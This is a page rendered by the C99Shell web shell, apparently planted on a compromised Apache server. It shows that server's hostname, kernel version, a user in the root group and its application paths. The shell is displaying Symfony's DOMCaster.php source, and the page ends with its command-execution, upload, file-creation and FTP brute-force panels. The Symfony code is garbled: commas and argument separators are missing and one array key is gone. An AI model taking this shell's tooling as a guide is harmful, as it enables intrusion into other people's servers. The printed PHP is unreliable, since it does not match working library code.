!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DOMCaster.php (9.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts DOM related classes to array representation.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @final
 */
class DOMCaster
{
    private const 
ERROR_CODES = [
        
=> 'DOM_PHP_ERR',
        
\DOM_INDEX_SIZE_ERR => 'DOM_INDEX_SIZE_ERR',
        
\DOMSTRING_SIZE_ERR => 'DOMSTRING_SIZE_ERR',
        
\DOM_HIERARCHY_REQUEST_ERR => 'DOM_HIERARCHY_REQUEST_ERR',
        
\DOM_WRONG_DOCUMENT_ERR => 'DOM_WRONG_DOCUMENT_ERR',
        
\DOM_INVALID_CHARACTER_ERR => 'DOM_INVALID_CHARACTER_ERR',
        
\DOM_NO_DATA_ALLOWED_ERR => 'DOM_NO_DATA_ALLOWED_ERR',
        
\DOM_NO_MODIFICATION_ALLOWED_ERR => 'DOM_NO_MODIFICATION_ALLOWED_ERR',
        
\DOM_NOT_FOUND_ERR => 'DOM_NOT_FOUND_ERR',
        
\DOM_NOT_SUPPORTED_ERR => 'DOM_NOT_SUPPORTED_ERR',
        
\DOM_INUSE_ATTRIBUTE_ERR => 'DOM_INUSE_ATTRIBUTE_ERR',
        
\DOM_INVALID_STATE_ERR => 'DOM_INVALID_STATE_ERR',
        
\DOM_SYNTAX_ERR => 'DOM_SYNTAX_ERR',
        
\DOM_INVALID_MODIFICATION_ERR => 'DOM_INVALID_MODIFICATION_ERR',
        
\DOM_NAMESPACE_ERR => 'DOM_NAMESPACE_ERR',
        
\DOM_INVALID_ACCESS_ERR => 'DOM_INVALID_ACCESS_ERR',
        
\DOM_VALIDATION_ERR => 'DOM_VALIDATION_ERR',
    ];

    private const 
NODE_TYPES = [
        
\XML_ELEMENT_NODE => 'XML_ELEMENT_NODE',
        
\XML_ATTRIBUTE_NODE => 'XML_ATTRIBUTE_NODE',
        
\XML_TEXT_NODE => 'XML_TEXT_NODE',
        
\XML_CDATA_SECTION_NODE => 'XML_CDATA_SECTION_NODE',
        
\XML_ENTITY_REF_NODE => 'XML_ENTITY_REF_NODE',
        
\XML_ENTITY_NODE => 'XML_ENTITY_NODE',
        
\XML_PI_NODE => 'XML_PI_NODE',
        
\XML_COMMENT_NODE => 'XML_COMMENT_NODE',
        
\XML_DOCUMENT_NODE => 'XML_DOCUMENT_NODE',
        
\XML_DOCUMENT_TYPE_NODE => 'XML_DOCUMENT_TYPE_NODE',
        
\XML_DOCUMENT_FRAG_NODE => 'XML_DOCUMENT_FRAG_NODE',
        
\XML_NOTATION_NODE => 'XML_NOTATION_NODE',
        
\XML_HTML_DOCUMENT_NODE => 'XML_HTML_DOCUMENT_NODE',
        
\XML_DTD_NODE => 'XML_DTD_NODE',
        
\XML_ELEMENT_DECL_NODE => 'XML_ELEMENT_DECL_NODE',
        
\XML_ATTRIBUTE_DECL_NODE => 'XML_ATTRIBUTE_DECL_NODE',
        
\XML_ENTITY_DECL_NODE => 'XML_ENTITY_DECL_NODE',
        
\XML_NAMESPACE_DECL_NODE => 'XML_NAMESPACE_DECL_NODE',
    ];

    
/**
     * @return array
     */
    
public static function castException(\DOMException $e, array $aStub $stubbool $isNested)
    {
        
$k Caster::PREFIX_PROTECTED.'code';
        if (isset(
$a[$k], self::ERROR_CODES[$a[$k]])) {
            
$a[$k] = new ConstStub(self::ERROR_CODES[$a[$k]], $a[$k]);
        }

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castLength($dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'length' => $dom->length,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castImplementation(\DOMImplementation $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
Caster::PREFIX_VIRTUAL.'Core' => '1.0',
            
Caster::PREFIX_VIRTUAL.'XML' => '2.0',
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castNode(\DOMNode $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'nodeName' => $dom->nodeName,
            
'nodeValue' => new CutStub($dom->nodeValue),
            
'nodeType' => new ConstStub(self::NODE_TYPES[$dom->nodeType], $dom->nodeType),
            
'parentNode' => new CutStub($dom->parentNode),
            
'childNodes' => $dom->childNodes,
            
'firstChild' => new CutStub($dom->firstChild),
            
'lastChild' => new CutStub($dom->lastChild),
            
'previousSibling' => new CutStub($dom->previousSibling),
            
'nextSibling' => new CutStub($dom->nextSibling),
            
'attributes' => $dom->attributes,
            
'ownerDocument' => new CutStub($dom->ownerDocument),
            
'namespaceURI' => $dom->namespaceURI,
            
'prefix' => $dom->prefix,
            
'localName' => $dom->localName,
            
'baseURI' => $dom->baseURI ? new LinkStub($dom->baseURI) : $dom->baseURI,
            
'textContent' => new CutStub($dom->textContent),
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castNameSpaceNode(\DOMNameSpaceNode $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'nodeName' => $dom->nodeName,
            
'nodeValue' => new CutStub($dom->nodeValue),
            
'nodeType' => new ConstStub(self::NODE_TYPES[$dom->nodeType], $dom->nodeType),
            
'prefix' => $dom->prefix,
            
'localName' => $dom->localName,
            
'namespaceURI' => $dom->namespaceURI,
            
'ownerDocument' => new CutStub($dom->ownerDocument),
            
'parentNode' => new CutStub($dom->parentNode),
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castDocument(\DOMDocument $dom, array $aStub $stubbool $isNestedint $filter 0)
    {
        
$a += [
            
'doctype' => $dom->doctype,
            
'implementation' => $dom->implementation,
            
'documentElement' => new CutStub($dom->documentElement),
            
'encoding' => $dom->encoding,
            
'xmlEncoding' => $dom->xmlEncoding,
            
'xmlStandalone' => $dom->xmlStandalone,
            
'xmlVersion' => $dom->xmlVersion,
            
'strictErrorChecking' => $dom->strictErrorChecking,
            
'documentURI' => $dom->documentURI ? new LinkStub($dom->documentURI) : $dom->documentURI,
            
'formatOutput' => $dom->formatOutput,
            
'validateOnParse' => $dom->validateOnParse,
            
'resolveExternals' => $dom->resolveExternals,
            
'preserveWhiteSpace' => $dom->preserveWhiteSpace,
            
'recover' => $dom->recover,
            
'substituteEntities' => $dom->substituteEntities,
        ];

        if (!(
$filter Caster::EXCLUDE_VERBOSE)) {
            
$formatOutput $dom->formatOutput;
            
$dom->formatOutput true;
            
$a += [Caster::PREFIX_VIRTUAL.'xml' => $dom->saveXML()];
            
$dom->formatOutput $formatOutput;
        }

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castCharacterData(\DOMCharacterData $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'data' => $dom->data,
            
'length' => $dom->length,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castAttr(\DOMAttr $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'name' => $dom->name,
            
'specified' => $dom->specified,
            
'value' => $dom->value,
            
'ownerElement' => $dom->ownerElement,
            
'schemaTypeInfo' => $dom->schemaTypeInfo,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castElement(\DOMElement $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'tagName' => $dom->tagName,
            
'schemaTypeInfo' => $dom->schemaTypeInfo,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castText(\DOMText $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'wholeText' => $dom->wholeText,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castDocumentType(\DOMDocumentType $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'name' => $dom->name,
            
'entities' => $dom->entities,
            
'notations' => $dom->notations,
            
'publicId' => $dom->publicId,
            
'systemId' => $dom->systemId,
            
'internalSubset' => $dom->internalSubset,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castNotation(\DOMNotation $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'publicId' => $dom->publicId,
            
'systemId' => $dom->systemId,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castEntity(\DOMEntity $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'publicId' => $dom->publicId,
            
'systemId' => $dom->systemId,
            
'notationName' => $dom->notationName,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castProcessingInstruction(\DOMProcessingInstruction $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'target' => $dom->target,
            
'data' => $dom->data,
        ];

        return 
$a;
    }

    
/**
     * @return array
     */
    
public static function castXPath(\DOMXPath $dom, array $aStub $stubbool $isNested)
    {
        
$a += [
            
'document' => $dom->document,
        ];

        return 
$a;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--